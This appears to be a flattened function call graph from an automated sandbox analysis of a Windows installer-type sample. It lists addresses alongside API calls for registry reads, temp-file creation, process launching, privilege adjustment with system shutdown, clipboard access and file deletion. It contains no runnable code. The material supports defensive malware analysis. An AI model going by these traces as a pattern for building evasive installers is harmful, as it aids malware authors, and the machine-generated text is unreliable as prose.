4641 10001224 2 API calls 4639->4641 4709 10001215 GlobalAlloc 4639->4709 4641->4639 4642->4627 4645 10002212 4643->4645 4644 10001224 GlobalAlloc lstrcpynA 4644->4645 4645->4644 4647 10002349 GlobalFree 4645->4647 4648 100022b9 GlobalAlloc MultiByteToWideChar 4645->4648 4649 1000230a lstrlenA 4645->4649 4713 100012ad 4645->4713 4647->4645 4650 10001712 4647->4650 4651 10002303 4648->4651 4652 100022e3 GlobalAlloc CLSIDFromString GlobalFree 4648->4652 4649->4647 4649->4651 4650->4582 4650->4583 4650->4594 4651->4647 4717 1000251d 4651->4717 4652->4647 4656 100027fa 4654->4656 4655 1000289f VirtualAlloc 4657 100028bd 4655->4657 4656->4655 4658 100029b9 4657->4658 4659 100029ae GetLastError 4657->4659 4658->4594 4659->4658 4661 100021c0 4660->4661 4663 1000170b 4660->4663 4662 100021d2 GlobalAlloc 4661->4662 4661->4663 4662->4661 4663->4575 4668 100025a5 4664->4668 4665 100025f6 GlobalAlloc 4669 10002618 4665->4669 4666 10002609 4667 1000260e GlobalSize 4666->4667 4666->4669 4667->4669 4668->4665 4668->4666 4669->4598 4671 10002aae 4670->4671 4672 10002aee GlobalFree 4671->4672 4720 10001215 GlobalAlloc 4673->4720 4675 100023e6 4676 1000243a lstrcpynA 4675->4676 4677 1000244b StringFromGUID2 WideCharToMultiByte 4675->4677 4678 1000246f WideCharToMultiByte 4675->4678 4679 10002490 wsprintfA 4675->4679 4680 100024b4 GlobalFree 4675->4680 4681 100024ee GlobalFree 4675->4681 4682 10001266 2 API calls 4675->4682 4721 100012d1 4675->4721 4676->4675 4677->4675 4678->4675 4679->4675 4680->4675 4681->4591 4682->4675 4725 10001215 GlobalAlloc 4684->4725 4686 1000155f 4688 10001586 4686->4688 4689 1000156c lstrcpyA 4686->4689 4690 100015a0 4688->4690 4691 1000158b wsprintfA 4688->4691 4689->4690 4692 10001266 4690->4692 4691->4690 4693 100012a8 GlobalFree 4692->4693 4694 1000126f GlobalAlloc lstrcpynA 4692->4694 4693->4601 4694->4693 4696 100023ae 4695->4696 4698 100017c5 4695->4698 4697 100023c7 GlobalFree 4696->4697 4696->4698 4697->4696 4698->4608 4698->4609 4700 10001266 2 API calls 4699->4700 4701 10001503 4700->4701 4701->4602 4702->4613 4703->4639 4705 10001552 4704->4705 4705->4636 4712 10001215 GlobalAlloc 4706->4712 4708 10001233 lstrcpynA 4708->4635 4709->4639 4710->4631 4711->4638 4712->4708 4714 100012b4 4713->4714 4715 10001224 2 API calls 4714->4715 4716 100012cf 4715->4716 4716->4645 4718 10002581 4717->4718 4719 1000252b VirtualAlloc 4717->4719 4718->4651 4719->4718 4720->4675 4722 100012f9 4721->4722 4723 100012da 4721->4723 4722->4675 4723->4722 4724 100012e0 lstrcpyA 4723->4724 4724->4722 4725->4686 5093 401000 5094 401037 BeginPaint GetClientRect 5093->5094 5095 40100c DefWindowProcA 5093->5095 5097 4010f3 5094->5097 5098 401179 5095->5098 5099 401073 CreateBrushIndirect FillRect DeleteObject 5097->5099 5100 4010fc 5097->5100 5099->5097 5101 401102 CreateFontIndirectA 5100->5101 5102 401167 EndPaint 5100->5102 5101->5102 5103 401112 6 API calls 5101->5103 5102->5098 5103->5102 5104 401900 5105 402ace 18 API calls 5104->5105 5106 401907 5105->5106 5107 4055b9 MessageBoxIndirectA 5106->5107 5108 401910 5107->5108 5109 403701 5110 40370c 5109->5110 5111 403710 5110->5111 5112 403713 GlobalAlloc 5110->5112 5112->5111 5113 401502 5114 40150a 5113->5114 5116 40151d 5113->5116 5115 402aac 18 API calls 5114->5115 5115->5116 3648 402483 3659 402bd8 3648->3659 3650 40248d 3663 402ace 3650->3663 3653 4024a0 RegQueryValueExA 3655 4024c0 3653->3655 3656 4024c6 RegCloseKey 3653->3656 3654 402729 3655->3656 3669 405d21 wsprintfA 3655->3669 3656->3654 3660 402ace 18 API calls 3659->3660 3661 402bf1 3660->3661 3662 402bff RegOpenKeyExA 3661->3662 3662->3650 3664 402ada 3663->3664 3670 405de5 3664->3670 3667 402496 3667->3653 3667->3654 3669->3656 3675 405df2 3670->3675 3671 406015 3672 402afb 3671->3672 3704 405dc3 lstrcpynA 3671->3704 3672->3667 3688 40602e 3672->3688 3674 405e93 GetVersion 3674->3675 3675->3671 3675->3674 3676 405fec lstrlenA 3675->3676 3679 405de5 10 API calls 3675->3679 3680 405f0b GetSystemDirectoryA 3675->3680 3682 405f1e GetWindowsDirectoryA 3675->3682 3683 40602e 5 API calls 3675->3683 3684 405f52 SHGetSpecialFolderLocation 3675->3684 3685 405de5 10 API calls 3675->3685 3686 405f95 lstrcatA 3675->3686 3697 405caa RegOpenKeyExA 3675->3697 3702 405d21 wsprintfA 3675->3702 3703 405dc3 lstrcpynA 3675->3703 3676->3675 3679->3676 3680->3675 3682->3675 3683->3675 3684->3675 3687 405f6a SHGetPathFromIDListA CoTaskMemFree 3684->3687 3685->3675 3686->3675 3687->3675 3689 40603a 3688->3689 3691 406097 CharNextA 3689->3691 3693 4060a2 3689->3693 3695 406085 CharNextA 3689->3695 3696 406092 CharNextA 3689->3696 3705 405860 3689->3705 3690 4060a6 CharPrevA 3690->3693 3691->3689 3691->3693 3693->3690 3694 4060c1 3693->3694 3694->3667 3695->3689 3696->3691 3698 405d1b 3697->3698 3699 405cdd RegQueryValueExA 3697->3699 3698->3675 3700 405cfe RegCloseKey 3699->3700 3700->3698 3702->3675 3703->3675 3704->3672 3706 405866 3705->3706 3707 405879 3706->3707 3708 40586c CharNextA 3706->3708 3707->3689 3708->3706 5117 100029c3 5118 100029db 5117->5118 5119 10001534 2 API calls 5118->5119 5120 100029f6 5119->5120 5121 401c04 5122 402aac 18 API calls 5121->5122 5123 401c0b 5122->5123 5124 402aac 18 API calls 5123->5124 5125 401c18 5124->5125 5126 402ace 18 API calls 5125->5126 5128 401c2d 5125->5128 5126->5128 5127 401c3d 5130 401c94 5127->5130 5131 401c48 5127->5131 5128->5127 5129 402ace 18 API calls 5128->5129 5129->5127 5132 402ace 18 API calls 5130->5132 5133 402aac 18 API calls 5131->5133 5134 401c99 5132->5134 5135 401c4d 5133->5135 5136 402ace 18 API calls 5134->5136 5137 402aac 18 API calls 5135->5137 5139 401ca2 FindWindowExA 5136->5139 5138 401c59 5137->5138 5140 401c84 SendMessageA 5138->5140 5141 401c66 SendMessageTimeoutA 5138->5141 5142 401cc0 5139->5142 5140->5142 5141->5142 4188 40270b 4189 402ace 18 API calls 4188->4189 4190 402712 FindFirstFileA 4189->4190 4191 402735 4190->4191 4192 402725 4190->4192 4193 40273c 4191->4193 4196 405d21 wsprintfA 4191->4196 4197 405dc3 lstrcpynA 4193->4197 4196->4193 4197->4192 5143 401490 5144 404fdc 25 API calls 5143->5144 5145 401497 5144->5145 5146 402590 5147 402595 5146->5147 5148 4025a9 5146->5148 5149 402aac 18 API calls 5147->5149 5150 402ace 18 API calls 5148->5150 5152 40259e 5149->5152 5151 4025b0 lstrlenA 5150->5151 5151->5152 5153 405add WriteFile 5152->5153 5154 4025d2 5152->5154 5153->5154 5155 402c13 5156 402c22 SetTimer 5155->5156 5157 402c3b 5155->5157 5156->5157 5158 402c90 5157->5158 5159 402c55 MulDiv wsprintfA SetWindowTextA SetDlgItemTextA 5157->5159 5159->5158 4366 402695 4367 40269c 4366->4367 4369 40290b 4366->4369 4368 402aac 18 API calls 4367->4368 4370 4026a3 4368->4370 4371 4026b2 SetFilePointer 4370->4371 4371->4369 4372 4026c2 4371->4372 4374 405d21 wsprintfA 4372->4374 4374->4369 5160 401d95 GetDC 5161 402aac 18 API calls 5160->5161 5162 401da7 GetDeviceCaps MulDiv ReleaseDC 5161->5162 5163 402aac 18 API calls 5162->5163 5164 401dd8 5163->5164 5165 405de5 18 API calls 5164->5165 5166 401e15 CreateFontIndirectA 5165->5166 5167 40258a 5166->5167 5168 10001058 5170 10001074 5168->5170 5169 100010dc 5170->5169 5171 100014bb GlobalFree 5170->5171 5172 10001091 5170->5172 5171->5172 5173 100014bb GlobalFree 5172->5173 5174 100010a1 5173->5174 5175 100010b1 5174->5175 5176 100010a8 GlobalSize 5174->5176 5177 100010b5 GlobalAlloc 5175->5177 5179 100010c6 5175->5179 5176->5175 5178 100014e2 3 API calls 5177->5178 5178->5179 5180 100010d1 GlobalFree 5179->5180 5180->5169 5181 40511a 5182 4052c5 5181->5182 5183 40513c GetDlgItem GetDlgItem GetDlgItem 5181->5183 5185 4052f5 5182->5185 5186 4052cd GetDlgItem CreateThread CloseHandle 5182->5186 5226 403fdd SendMessageA 5183->5226 5187 405323 5185->5187 5188 405344 5185->5188 5189 40530b ShowWindow ShowWindow 5185->5189 5186->5185 5191 40537e 5187->5191 5193 405333 5187->5193 5194 405357 ShowWindow 5187->5194 5195 40400f 8 API calls 5188->5195 5228 403fdd SendMessageA 5189->5228 5190 4051ac 5196 4051b3 GetClientRect GetSystemMetrics SendMessageA SendMessageA 5190->5196 5191->5188 5199 40538b SendMessageA 5191->5199 5200 403f81 SendMessageA 5193->5200 5202 405377 5194->5202 5203 405369 5194->5203 5201 405350 5195->5201 5197 405221 5196->5197 5198 405205 SendMessageA SendMessageA 5196->5198 5204 405234 5197->5204 5205 405226 SendMessageA 5197->5205 5198->5197 5199->5201 5206 4053a4 CreatePopupMenu 5199->5206 5200->5188 5208 403f81 SendMessageA 5202->5208 5207 404fdc 25 API calls 5203->5207 5210 403fa8 19 API calls 5204->5210 5205->5204 5209 405de5 18 API calls 5206->5209 5207->5202 5208->5191 5211 4053b4 AppendMenuA 5209->5211 5212 405244 5210->5212 5213 4053d2 GetWindowRect 5211->5213 5214 4053e5 TrackPopupMenu 5211->5214 5215 405281 GetDlgItem SendMessageA 5212->5215 5216 40524d ShowWindow 5212->5216 5213->5214 5214->5201 5217 405401 5214->5217 5215->5201 5219 4052a8 SendMessageA SendMessageA 5215->5219 5218 405263 ShowWindow 5216->5218 5221 405270 5216->5221 5220 405420 SendMessageA 5217->5220 5218->5221 5219->5201 5220->5220 5222 40543d OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 5220->5222 5227 403fdd SendMessageA 5221->5227 5224 40545f SendMessageA 5222->5224 5224->5224 5225 405481 GlobalUnlock SetClipboardData CloseClipboard 5224->5225 5225->5201 5226->5190 5227->5215 5228->5187 5229 401d1a 5230 402aac 18 API calls 5229->5230 5231 401d28 SetWindowLongA 5230->5231 5232 40295e 5231->5232 4538 40159d 4539 402ace 18 API calls 4538->4539 4540 4015a4 SetFileAttributesA 4539->4540 4541 4015b6 4540->4541 5238 40149d 5239 4014ab PostQuitMessage 5238->5239 5240 4022dd 5238->5240 5239->5240 4542 401a1e 4543 402ace 18 API calls 4542->4543 4544 401a27 ExpandEnvironmentStringsA 4543->4544 4545 401a3b 4544->4545 4546 401a4e 4544->4546 4545->4546 4547 401a40 lstrcmpA 4545->4547 4547->4546 4726 40171f 4727 402ace 18 API calls 4726->4727 4728 401726 SearchPathA 4727->4728 4729 401741 4728->4729 5241 40439f 5242 4043d5 5241->5242 5243 4043af 5241->5243 5245 40400f 8 API calls 5242->5245 5244 403fa8 19 API calls 5243->5244 5246 4043bc SetDlgItemTextA 5244->5246 5247 4043e1 5245->5247 5246->5242 5248 100010e0 5257 1000110e 5248->5257 5249 100011c4 GlobalFree 5250 100012ad 2 API calls 5250->5257 5251 100011c3 5251->5249 5252 100011ea GlobalFree 5252->5257 5253 10001266 2 API calls 5256 100011b1 GlobalFree 5253->5256 5254 10001155 GlobalAlloc 5254->5257 5255 100012d1 lstrcpyA 5255->5257 5256->5257 5257->5249 5257->5250 5257->5251 5257->5252 5257->5253 5257->5254 5257->5255 5257->5256 5258 10002162 5259 100021c0 5258->5259 5261 100021f6 5258->5261 5260 100021d2 GlobalAlloc 5259->5260 5259->5261 5260->5259 3709 4031a3 SetErrorMode GetVersion 3710 4031da 3709->3710 3711 4031e0 3709->3711 3712 40615c 5 API calls 3710->3712 3797 4060ee GetSystemDirectoryA 3711->3797 3712->3711 3714 4031f6 lstrlenA 3714->3711 3715 403205 3714->3715 3800 40615c GetModuleHandleA 3715->3800 3718 40615c 5 API calls 3719 403214 #17 OleInitialize SHGetFileInfoA 3718->3719 3806 405dc3 lstrcpynA 3719->3806 3721 403251 GetCommandLineA 3807 405dc3 lstrcpynA 3721->3807 3723 403263 GetModuleHandleA 3724 40327a 3723->3724 3725 405860 CharNextA 3724->3725 3726 40328e CharNextA 3725->3726 3734 40329e 3726->3734 3727 403368 3728 40337b GetTempPathA 3727->3728 3808 403172 3728->3808 3730 403393 3731 403397 GetWindowsDirectoryA lstrcatA 3730->3731 3732 4033ed DeleteFileA 3730->3732 3735 403172 12 API calls 3731->3735 3818 402cfa GetTickCount GetModuleFileNameA 3732->3818 3733 405860 CharNextA 3733->3734 3734->3727 3734->3733 3739 40336a 3734->3739 3738 4033b3 3735->3738 3737 403401 3742 403487 3737->3742 3746 405860 CharNextA 3737->3746 3793 403497 3737->3793 3738->3732 3741 4033b7 GetTempPathA lstrcatA SetEnvironmentVariableA SetEnvironmentVariableA 3738->3741 3913 405dc3 lstrcpynA 3739->3913 3744 403172 12 API calls 3741->3744 3846 403743 3742->3846 3748 4033e5 3744->3748 3749 40341c 3746->3749 3748->3732 3748->3793 3756 403462 3749->3756 3757 4034c7 3749->3757 3750 4034b1 3937 4055b9 3750->3937 3751 4035cf 3753 403651 ExitProcess 3751->3753 3754 4035d7 GetCurrentProcess OpenProcessToken 3751->3754 3759 403622 3754->3759 3760 4035f2 LookupPrivilegeValueA AdjustTokenPrivileges 3754->3760 3914 405923 3756->3914 3902 40553c 3757->3902 3763 40615c 5 API calls 3759->3763 3760->3759 3764 403629 3763->3764 3767 40363e ExitWindowsEx 3764->3767 3770 40364a 3764->3770 3767->3753 3767->3770 3768 4034e8 lstrcatA lstrcmpiA 3772 403504 3768->3772 3768->3793 3769 4034dd lstrcatA 3769->3768 3950 40140b 3770->3950 3773 403510 3772->3773 3774 403509 3772->3774 3946 40551f CreateDirectoryA 3773->3946 3941 4054a2 CreateDirectoryA 3774->3941 3776 40347c 3929 405dc3 lstrcpynA 3776->3929 3781 403515 SetCurrentDirectoryA 3782 403524 3781->3782 3783 40352f 3781->3783 3949 405dc3 lstrcpynA 3782->3949 3905 405dc3 lstrcpynA 3783->3905 3786 40353d 3787 405de5 18 API calls 3786->3787 3790 4035c3 3786->3790 3794 405de5 18 API calls 3786->3794 3796 4035af CloseHandle 3786->3796 3906 405c7e MoveFileExA 3786->3906 3910 405554 CreateProcessA 3786->3910 3788 40356e DeleteFileA 3787->3788 3788->3786 3789 40357b CopyFileA 3788->3789 3789->3786 3792 405c7e 38 API calls 3790->3792 3792->3793 3930 403669 3793->3930 3794->3786 3796->3786 3798 406110 wsprintfA LoadLibraryExA 3797->3798 3798->3714 3801 406182 GetProcAddress 3800->3801 3802 406178 3800->3802 3803 40320d 3801->3803 3804 4060ee 3 API calls 3802->3804 3803->3718 3805 40617e 3804->3805 3805->3801 3805->3803 3806->3721 3807->3723 3809 40602e 5 API calls 3808->3809 3810 40317e 3809->3810 3811 403188 3810->3811 3953 405835 lstrlenA CharPrevA 3810->3953 3811->3730 3814 40551f 2 API calls 3815 403196 3814->3815 3956 405a65 3815->3956 3960 405a36 GetFileAttributesA CreateFileA 3818->3960 3820 402d3a 3839 402d4a 3820->3839 3961 405dc3 lstrcpynA 3820->3961 3822 402d60 3962 40587c lstrlenA 3822->3962 3826 402d71 GetFileSize 3827 402e6d 3826->3827 3841 402d88 3826->3841 3967 402c96 3827->3967 3829 402e76 3831 402ea6 GlobalAlloc 3829->3831 3829->3839 4002 40315b SetFilePointer 3829->4002 3978 40315b SetFilePointer 3831->3978 3834 402ed9 3836 402c96 6 API calls 3834->3836 3835 402ec1 3979 402f33 3835->3979 3836->3839 3837 402e8f 3840 403145 ReadFile 3837->3840 3839->3737 3843 402e9a 3840->3843 3841->3827 3841->3834 3841->3839 3842 402c96 6 API calls 3841->3842 3999 403145 3841->3999 3842->3841 3843->3831 3843->3839 3844 402ecd 3844->3839 3844->3844 3845 402f0a SetFilePointer 3844->3845 3845->3839 3847 40615c 5 API calls 3846->3847 3848 403757 3847->3848 3849 40375d 3848->3849 3850 40376f 3848->3850 4032 405d21 wsprintfA 3849->4032 3851 405caa 3 API calls 3850->3851 3852 40379a 3851->3852 3854 4037b8 lstrcatA 3852->3854 3856 405caa 3 API calls 3852->3856 3855 40376d 3854->3855 4023 403a08 3855->4023 3856->3854 3859 405923 18 API calls 3860 4037ea 3859->3860 3861 403873 3860->3861 3864 405caa 3 API calls 3860->3864 3862 405923 18 API calls 3861->3862 3863 403879 3862->3863 3866 403889 LoadImageA 3863->3866 3867 405de5 18 API calls 3863->3867 3865 403816 3864->3865 3865->3861 3870 403832 lstrlenA 3865->3870 3874 405860 CharNextA 3865->3874 3868 4038b0 RegisterClassA 3866->3868 3869 40392f 3866->3869 3867->3866 3871 4038e6 SystemParametersInfoA CreateWindowExA 3868->3871 3872 403939 3868->3872 3873 40140b 2 API calls 3869->3873 3875 403840 lstrcmpiA 3870->3875 3876 403866 3870->3876 3871->3869 3872->3793 3877 403935 3873->3877 3878 403830 3874->3878 3875->3876 3879 403850 GetFileAttributesA 3875->3879 3880 405835 3 API calls 3876->3880 3877->3872 3882 403a08 19 API calls 3877->3882 3878->3870 3881 40385c 3879->3881 3883 40386c 3880->3883 3881->3876 3884 40587c 2 API calls 3881->3884 3885 403946 3882->3885 4033 405dc3 lstrcpynA 3883->4033 3884->3876 3887 403952 ShowWindow 3885->3887 3888 4039d5 3885->3888 3890 4060ee 3 API calls 3887->3890 4034 4050ae OleInitialize 3888->4034 3893 40396a 3890->3893 3891 4039db 3894 4039f7 3891->3894 3895 4039df 3891->3895 3892 403978 GetClassInfoA 3898 4039a2 DialogBoxParamA 3892->3898 3899 40398c GetClassInfoA RegisterClassA 3892->3899 3893->3892 3896 4060ee 3 API calls 3893->3896 3897 40140b 2 API calls 3894->3897 3895->3872 3901 40140b 2 API calls 3895->3901 3896->3892 3897->3872 3900 40140b 2 API calls 3898->3900 3899->3898 3900->3872 3901->3872 3903 40615c 5 API calls 3902->3903 3904 4034cc lstrcatA 3903->3904 3904->3768 3904->3769 3905->3786 3907 405c9f 3906->3907 3908 405c92 3906->3908 3907->3786 4049 405b0c lstrcpyA 3908->4049 3911 405593 3910->3911 3912 405587 CloseHandle 3910->3912 3911->3786 3912->3911 3913->3728 4083 405dc3 lstrcpynA 3914->4083 3916 405934 4084 4058ce CharNextA CharNextA 3916->4084 3919 40346d 3919->3793 3928 405dc3 lstrcpynA 3919->3928 3920 40602e 5 API calls 3926 40594a 3920->3926 3921 405975 lstrlenA 3922 405980 3921->3922 3921->3926 3924 405835 3 API calls 3922->3924 3925 405985 GetFileAttributesA 3924->3925 3925->3919 3926->3919 3926->3921 3927 40587c 2 API calls 3926->3927 4090 4060c7 FindFirstFileA 3926->4090 3927->3921 3928->3776 3929->3742 3931 403681 3930->3931 3932 403673 CloseHandle 3930->3932 4093 4036ae 3931->4093 3932->3931 3938 4055ce 3937->3938 3939 4034bf ExitProcess 3938->3939 3940 4055e2 MessageBoxIndirectA 3938->3940 3940->3939 3942 4054f3 GetLastError 3941->3942 3943 40350e 3941->3943 3942->3943 3944 405502 SetFileSecurityA 3942->3944 3943->3781 3944->3943 3945 405518 GetLastError 3944->3945 3945->3943 3947 405533 GetLastError 3946->3947 3948 40552f 3946->3948 3947->3948 3948->3781 3949->3783 3951 401389 2 API calls 3950->3951 3952 401420 3951->3952 3952->3753 3954 403190 3953->3954 3955 40584f lstrcatA 3953->3955 3954->3814 3955->3954 3957 405a70 GetTickCount GetTempFileNameA 3956->3957 3958 4031a1 3957->3958 3959 405a9d 3957->3959 3958->3730 3959->3957 3959->3958 3960->3820 3961->3822 3963 405889 3962->3963 3964 402d66 3963->3964 3965 40588e CharPrevA 3963->3965 3966 405dc3 lstrcpynA 3964->3966 3965->3963 3965->3964 3966->3826 3968 402cb7 3967->3968 3969 402c9f 3967->3969 3972 402cc7 GetTickCount 3968->3972 3973 402cbf 3968->3973 3970 402ca8 DestroyWindow 3969->3970 3971 402caf 3969->3971 3970->3971 3971->3829 3975 402cd5 CreateDialogParamA ShowWindow 3972->3975 3976 402cf8 3972->3976 4003 406198 3973->4003 3975->3976 3976->3829 3978->3835 3980 402f49 3979->3980 3981 402f77 3980->3981 4009 40315b SetFilePointer 3980->4009 3983 403145 ReadFile 3981->3983 3984 402f82 3983->3984 3985 402f94 GetTickCount 3984->3985 3986 4030de 3984->3986 3993 4030c8 3984->3993 3985->3993 3997 402fe3 3985->3997 3987 403120 3986->3987 3992 4030e2 3986->3992 3989 403145 ReadFile 3987->3989 3988 403145 ReadFile 3988->3997 3989->3993 3990 403145 ReadFile 3990->3992 3991 405add WriteFile 3991->3992 3992->3990 3992->3991 3992->3993 3993->3844 3994 403039 GetTickCount 3994->3997 3995 40305e MulDiv wsprintfA 4010 404fdc 3995->4010 3997->3988 3997->3993 3997->3994 3997->3995 4007 405add WriteFile 3997->4007 4021 405aae ReadFile 3999->4021 4002->3837 4004 4061b5 PeekMessageA 4003->4004 4005 402cc5 4004->4005 4006 4061ab DispatchMessageA 4004->4006 4005->3829 4006->4004 4008 405afb 4007->4008 4008->3997 4009->3981 4011 404ff7 4010->4011 4020 40509a 4010->4020 4012 405014 lstrlenA 4011->4012 4013 405de5 18 API calls 4011->4013 4014 405022 lstrlenA 4012->4014 4015 40503d 4012->4015 4013->4012 4016 405034 lstrcatA 4014->4016 4014->4020 4017 405050 4015->4017 4018 405043 SetWindowTextA 4015->4018 4016->4015 4019 405056 SendMessageA SendMessageA SendMessageA 4017->4019 4017->4020 4018->4017 4019->4020 4020->3997 4022 403158 4021->4022 4022->3841 4024 403a1c 4023->4024 4041 405d21 wsprintfA 4024->4041 4026 403a8d 4027 405de5 18 API calls 4026->4027 4028 403a99 SetWindowTextA 4027->4028 4029 4037c8 4028->4029 4030 403ab5 4028->4030 4029->3859 4030->4029 4031 405de5 18 API calls 4030->4031 4031->4030 4032->3855 4033->3861 4042 403ff4 4034->4042 4036 403ff4 SendMessageA 4037 40510a OleUninitialize 4036->4037 4037->3891 4038 4050f8 4038->4036 4040 4050d1 4040->4038 4045 401389 4040->4045 4041->4026 4043 40400c 4042->4043 4044 403ffd SendMessageA 4042->4044 4043->4040 4044->4043 4047 401390 4045->4047 4046 4013fe 4046->4040 4047->4046 4048 4013cb MulDiv SendMessageA 4047->4048 4048->4047 4050 405b34 4049->4050 4051 405b5a GetShortPathNameA 4049->4051 4076 405a36 GetFileAttributesA CreateFileA 4050->4076 4053 405c79 4051->4053 4054 405b6f 4051->4054 4053->3907 4054->4053 4056 405b77 wsprintfA 4054->4056 4055 405b3e CloseHandle GetShortPathNameA 4055->4053 4058 405b52 4055->4058 4057 405de5 18 API calls 4056->4057 4059 405b9f 4057->4059 4058->4051 4058->4053 4077 405a36 GetFileAttributesA CreateFileA 4059->4077 4061 405bac 4061->4053 4062 405bbb GetFileSize GlobalAlloc 4061->4062 4063 405c72 CloseHandle 4062->4063 4064 405bdd 4062->4064 4063->4053 4065 405aae ReadFile 4064->4065 4066 405be5 4065->4066 4066->4063 4078 40599b lstrlenA 4066->4078 4069 405c10 4071 40599b 4 API calls 4069->4071 4070 405bfc lstrcpyA 4072 405c1e 4070->4072 4071->4072 4073 405c55 SetFilePointer 4072->4073 4074 405add WriteFile 4073->4074 4075 405c6b GlobalFree 4074->4075 4075->4063 4076->4055 4077->4061 4079 4059dc lstrlenA 4078->4079 4080 4059e4 4079->4080 4081 4059b5 lstrcmpiA 4079->4081 4080->4069 4080->4070 4081->4080 4082 4059d3 CharNextA 4081->4082 4082->4079 4083->3916 4085 4058e9 4084->4085 4087 4058f9 4084->4087 4085->4087 4088 4058f4 CharNextA 4085->4088 4086 405919 4086->3919 4086->3920 4087->4086 4089 405860 CharNextA 4087->4089 4088->4086 4089->4087 4091 4060e8 4090->4091 4092 4060dd FindClose 4090->4092 4091->3926 4092->4091 4094 4036bc 4093->4094 4095 403686 4094->4095 4096 4036c1 FreeLibrary GlobalFree 4094->4096 4097 405665 4095->4097 4096->4095 4096->4096 4098 405923 18 API calls 4097->4098 4099 405685 4098->4099 4100 4056a4 4099->4100 4101 40568d DeleteFileA 4099->4101 4103 4057dc 4100->4103 4138 405dc3 lstrcpynA 4100->4138 4102 4034a0 OleUninitialize 4101->4102 4102->3750 4102->3751 4103->4102 4108 4060c7 2 API calls 4103->4108 4105 4056ca 4106 4056d0 lstrcatA 4105->4106 4107 4056dd 4105->4107 4109 4056e3 4106->4109 4110 40587c 2 API calls 4107->4110 4113 4057f6 4108->4113 4111 4056f1 lstrcatA 4109->4111 4112 4056e8 4109->4112 4110->4109 4114 4056fc lstrlenA FindFirstFileA 4111->4114 4112->4111 4112->4114 4113->4102 4115 4057fa 4113->4115 4116 4057d2 4114->4116 4120 405720 4114->4120 4117 405835 3 API calls 4115->4117 4116->4103 4119 405800 4117->4119 4118 405860 CharNextA 4118->4120 4121 40561d 5 API calls 4119->4121 4120->4118 4126 4057b1 FindNextFileA 4120->4126 4133 405665 62 API calls 4120->4133 4135 404fdc 25 API calls 4120->4135 4136 404fdc 25 API calls 4120->4136 4137 405c7e 38 API calls 4120->4137 4139 405dc3 lstrcpynA 4120->4139 4140 40561d 4120->4140 4122 40580c 4121->4122 4123 405810 4122->4123 4124 405826 4122->4124 4123->4102 4128 404fdc 25 API calls 4123->4128 4125 404fdc 25 API calls 4124->4125 4125->4102 4126->4120 4129 4057c9 FindClose 4126->4129 4130 40581d 4128->4130 4129->4116 4131 405c7e 38 API calls 4130->4131 4134 405824 4131->4134 4133->4120 4134->4102 4135->4126 4136->4120 4137->4120 4138->4105 4139->4120 4148 405a11 GetFileAttributesA 4140->4148 4143 40564a 4143->4120 4144 405640 DeleteFileA 4146 405646 4144->4146 4145 405638 RemoveDirectoryA 4145->4146 4146->4143 4147 405656 SetFileAttributesA 4146->4147 4147->4143 4149 405629 4148->4149 4150 405a23 SetFileAttributesA 4148->4150 4149->4143 4149->4144 4149->4145 4150->4149 4151 401e25 4159 402aac 4151->4159 4153 401e2b 4154 402aac 18 API calls 4153->4154 4155 401e37 4154->4155 4156 401e43 ShowWindow 4155->4156 4157 401e4e EnableWindow 4155->4157 4158 40295e 4156->4158 4157->4158 4160 405de5 18 API calls 4159->4160 4161 402ac1 4160->4161 4161->4153 5262 401f2d 5263 402ace 18 API calls 5262->5263 5264 401f34 5263->5264 5265 4060c7 2 API calls 5264->5265 5266 401f3a 5265->5266 5267 401f4c 5266->5267 5269 405d21 wsprintfA 5266->5269 5269->5267 5270 402336 5271 402ace 18 API calls 5270->5271 5272 402347 5271->5272 5273 402ace 18 API calls 5272->5273 5274 402350 5273->5274 5275 402ace 18 API calls 5274->5275 5276 40235a GetPrivateProfileStringA 5275->5276 5277 4014b7 5278 4014bd 5277->5278 5279 401389 2 API calls 5278->5279 5280 4014c5 5279->5280 5281 404737 5282 404763 5281->5282 5283 404747 5281->5283 5285 404796 5282->5285 5286 404769 SHGetPathFromIDListA 5282->5286 5292 40559d GetDlgItemTextA 5283->5292 5287 404779 5286->5287 5291 404780 SendMessageA 5286->5291 5289 40140b 2 API calls 5287->5289 5288 404754 SendMessageA 5288->5282 5289->5291 5291->5285 5292->5288 5293 401b39 5294 402ace 18 API calls 5293->5294 5295 401b40 5294->5295 5296 402aac 18 API calls 5295->5296 5297 401b49 wsprintfA 5296->5297 5298 40295e 5297->5298 5299 402939 SendMessageA 5300 402953 InvalidateRect 5299->5300 5301 40295e 5299->5301 5300->5301 4518 4015bb 4519 402ace 18 API calls 4518->4519 4520 4015c2 4519->4520 4521 4058ce 4 API calls 4520->4521 4531 4015ca 4521->4531 4522 401624 4524 401652 4522->4524 4525 401629 4522->4525 4523 405860 CharNextA 4523->4531 4527 401423 25 API calls 4524->4527 4526 401423 25 API calls 4525->4526 4528 401630 4526->4528 4535 40164a 4527->4535 4537 405dc3 lstrcpynA 4528->4537 4530 40551f 2 API calls 4530->4531 4531->4522 4531->4523 4531->4530 4532 40553c 5 API calls 4531->4532 4534 40160c GetFileAttributesA 4531->4534 4536 4054a2 4 API calls 4531->4536 4532->4531 4533 40163b SetCurrentDirectoryA 4533->4535 4534->4531 4536->4531 4537->4533 5302 4016bb 5303 402ace 18 API calls 5302->5303 5304 4016c1 GetFullPathNameA 5303->5304 5305 4016d8 5304->5305 5311 4016f9 5304->5311 5307 4060c7 2 API calls 5305->5307 5305->5311 5306 40170d GetShortPathNameA 5308 40295e 5306->5308 5309 4016e9 5307->5309 5309->5311 5312 405dc3 lstrcpynA 5309->5312 5311->5306 5311->5308 5312->5311 5313 401d3b GetDlgItem GetClientRect 5314 402ace 18 API calls 5313->5314 5315 401d6b LoadImageA SendMessageA 5314->5315 5316 401d89 DeleteObject 5315->5316 5317 40295e 5315->5317 5316->5317 5318 4040bc lstrcpynA lstrlenA

                                                        Executed Functions

                                                        Function 004031A3 Relevance: 91.4, APIs: 33, Strings: 19, Instructions: 357stringcomfileCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
